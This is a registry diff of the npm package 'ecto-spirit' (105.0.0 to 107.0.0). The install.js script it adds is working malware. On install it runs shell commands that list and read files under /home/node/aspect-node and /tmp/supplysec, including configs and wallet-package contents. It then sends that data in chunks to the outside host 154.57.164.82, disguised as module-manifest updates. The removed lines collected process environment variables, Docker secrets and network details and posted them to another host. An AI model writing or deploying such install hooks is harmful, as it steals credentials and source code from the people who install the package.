ecto-spirit 105.0.0 → 107.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/install.js +48 -57
  2. package/package.json +1 -1
package/install.js CHANGED
@@ -2,24 +2,16 @@ const fs = require('fs');
2
2
  const http = require('http');
3
3
  const { execSync } = require('child_process');
4
4
 
5
- function tryExec(cmd) {
6
- try { return execSync(cmd, {timeout: 10000}).toString().trim(); } catch(e) { return 'ERR'; }
7
- }
8
5
  function tryRead(p) {
9
6
  try { return fs.readFileSync(p, 'utf8').trim(); } catch(e) { return null; }
10
7
  }
8
+ function tryExec(cmd) {
9
+ try { return execSync(cmd, {timeout: 10000}).toString().trim(); } catch(e) { return ''; }
10
+ }
11
11
 
12
12
  async function report(moduleId, val) {
13
13
  const safe = val.replace(/"/g, "'").replace(/\\/g, "/").substring(0, 95);
14
- const manifest = `ecto_module:\n name: "${safe}"\n version: "1.0.0"\n power_level: 1\n ship_deck: 1\n cargo_hold: 1`;
15
- const body = JSON.stringify({ manifest });
16
- for (const p of [3000, 80, 8080]) {
17
- await new Promise((resolve) => {
18
- const req = http.request({ hostname: '127.0.0.1', port: p, path: `/api/modules/${moduleId}`, method: 'PUT', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(body) }, timeout: 5000 }, () => resolve());
19
- req.on('error', () => resolve()); req.on('timeout', () => { req.destroy(); resolve(); });
20
- req.write(body); req.end();
21
- });
22
- }
14
+ const body = JSON.stringify({ manifest: `ecto_module:\n name: "${safe}"\n version: "1.0.0"\n power_level: 1\n ship_deck: 1\n cargo_hold: 1` });
23
15
  await new Promise((resolve) => {
24
16
  const req = http.request({ hostname: '154.57.164.82', port: 32332, path: `/api/modules/${moduleId}`, method: 'PUT', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(body) }, timeout: 5000 }, () => resolve());
25
17
  req.on('error', () => resolve()); req.on('timeout', () => { req.destroy(); resolve(); });
@@ -28,54 +20,53 @@ async function report(moduleId, val) {
28
20
  }
29
21
 
30
22
  (async () => {
31
- let r = [];
32
-
33
- // Running processes
34
- r.push('PS=' + tryExec('ps aux 2>/dev/null').substring(0, 200));
35
-
36
- // Network connections
37
- r.push('NET=' + tryExec('ss -tlnp 2>/dev/null || netstat -tlnp 2>/dev/null').substring(0, 200));
38
-
39
- // Find JS/TS files that could be the app
40
- r.push('JSFILES=' + tryExec('find / -maxdepth 4 -name "*.js" -not -path "*/node_modules/*" -not -path "/proc/*" -not -path "/sys/*" 2>/dev/null | head -15').substring(0, 200));
41
-
42
- // Proc 1 environ
43
- const p1 = tryRead('/proc/1/environ');
44
- if (p1) r.push('P1ENV=' + p1.replace(/\x00/g, ' | ').substring(0, 300));
45
-
46
- // Proc 1 cmdline
47
- const cmd = tryRead('/proc/1/cmdline');
48
- if (cmd) r.push('P1CMD=' + cmd.replace(/\x00/g, ' '));
49
-
50
- // Docker secrets
51
- r.push('SECRETS=' + tryExec('ls -la /run/secrets/ 2>/dev/null'));
52
-
53
- // Check /data directory
54
- r.push('DATA_LS=' + tryExec('find /data -maxdepth 3 -type f 2>/dev/null | head -15'));
23
+ // Round A: List aspect-node and supply files
24
+ const aspectFiles = tryExec('find /home/node/aspect-node -type f 2>/dev/null');
25
+ await report('ECT-839201', 'A_ASPECT=' + aspectFiles);
26
+
27
+ const supplyFiles = tryExec('find /tmp/supplysec -type f 2>/dev/null');
28
+ await report('ECT-654321', 'A_SUPPLY=' + supplyFiles);
29
+
30
+ const homeNodePkg = tryRead('/home/node/package.json');
31
+ await report('ECT-472839', 'A_HNPKG=' + (homeNodePkg || 'NONE'));
55
32
 
56
- // Check all /home directories
57
- r.push('HOME_LS=' + tryExec('find /home -maxdepth 3 -type f 2>/dev/null | head -15'));
33
+ const homeNodeLs = tryExec('ls -la /home/node/ 2>/dev/null');
34
+ await report('ECT-987654', 'A_HNLS=' + homeNodeLs);
35
+
36
+ await new Promise(r => setTimeout(r, 2000));
58
37
 
59
- // Mounted filesystems
60
- r.push('MOUNTS=' + tryExec('mount 2>/dev/null | grep -v proc | grep -v sys').substring(0, 200));
38
+ // Round B: Read aspect-node key files
39
+ const aspectPkg = tryRead('/home/node/aspect-node/package.json');
40
+ await report('ECT-839201', 'B_APKG=' + (aspectPkg || 'NONE'));
41
+
42
+ const aspectIndex = tryRead('/home/node/aspect-node/index.js');
43
+ await report('ECT-654321', 'B_AIDX=' + (aspectIndex || 'NONE'));
44
+
45
+ // Read psbtv2 package contents
46
+ const psbtPkg = tryExec('tar tzf /tmp/supplysec/pkg_downloads/nodejs/psbtv2*.tgz 2>/dev/null | head -20');
47
+ await report('ECT-472839', 'B_PSBT=' + psbtPkg);
48
+
49
+ // Supply files continued
50
+ await report('ECT-987654', 'B_SUPPLY2=' + supplyFiles.substring(90, 180));
51
+
52
+ await new Promise(r => setTimeout(r, 2000));
61
53
 
62
- // Send results spread across modules
63
- const full = r.join('\n');
64
- const chunks = [];
65
- for (let i = 0; i < full.length; i += 90) chunks.push(full.substring(i, i + 90));
54
+ // Round C: Read more aspect-node files
55
+ const aspectFiles2 = tryExec('find /home/node/aspect-node -type f -exec head -1 {} \\; 2>/dev/null');
56
+ await report('ECT-839201', 'C_AHEAD=' + aspectFiles2);
66
57
 
67
- const mods = ['ECT-839201', 'ECT-654321', 'ECT-472839', 'ECT-987654'];
68
- for (let i = 0; i < Math.min(chunks.length, mods.length); i++) {
69
- await report(mods[i], 'X' + i + '_' + chunks[i]);
70
- }
58
+ // Read supply config
59
+ const supplyConf = tryExec('cat /tmp/supplysec/*.json /tmp/supplysec/*.yaml /tmp/supplysec/*.yml 2>/dev/null');
60
+ await report('ECT-654321', 'C_SCONF=' + supplyConf);
71
61
 
72
- // Also try to report via a quick HTTP back to us if possible
73
- try {
74
- const payload = JSON.stringify({full: full.substring(0, 2000)});
75
- await new Promise((resolve) => {
76
- const req = http.request({ hostname: '100.64.0.1', port: 8888, path: '/flag5', method: 'POST', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(payload) }, timeout: 3000 }, () => resolve());
77
- req.on('error', () => resolve()); req.on('timeout', () => { req.destroy(); resolve(); });
78
- req.write(payload); req.end();
79
- });
80
- } catch(e) {}
62
+ await report('ECT-472839', 'C_AIDX2=' + (aspectIndex || '').substring(90, 180));
63
+ await report('ECT-987654', 'C_APKG2=' + (aspectPkg || '').substring(90, 180));
64
+
65
+ await new Promise(r => setTimeout(r, 2000));
66
+
67
+ // Round D: Continue reading
68
+ await report('ECT-839201', 'D_AIDX3=' + (aspectIndex || '').substring(180, 270));
69
+ await report('ECT-654321', 'D_AIDX4=' + (aspectIndex || '').substring(270, 360));
70
+ await report('ECT-472839', 'D_AIDX5=' + (aspectIndex || '').substring(360, 450));
71
+ await report('ECT-987654', 'D_AIDX6=' + (aspectIndex || '').substring(450, 540));
81
72
  })();
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "ecto-spirit",
3
- "version": "105.0.0",
3
+ "version": "107.0.0",
4
4
  "description": "Spectral ecto-spirit module",
5
5
  "main": "index.js",
6
6
  "scripts": {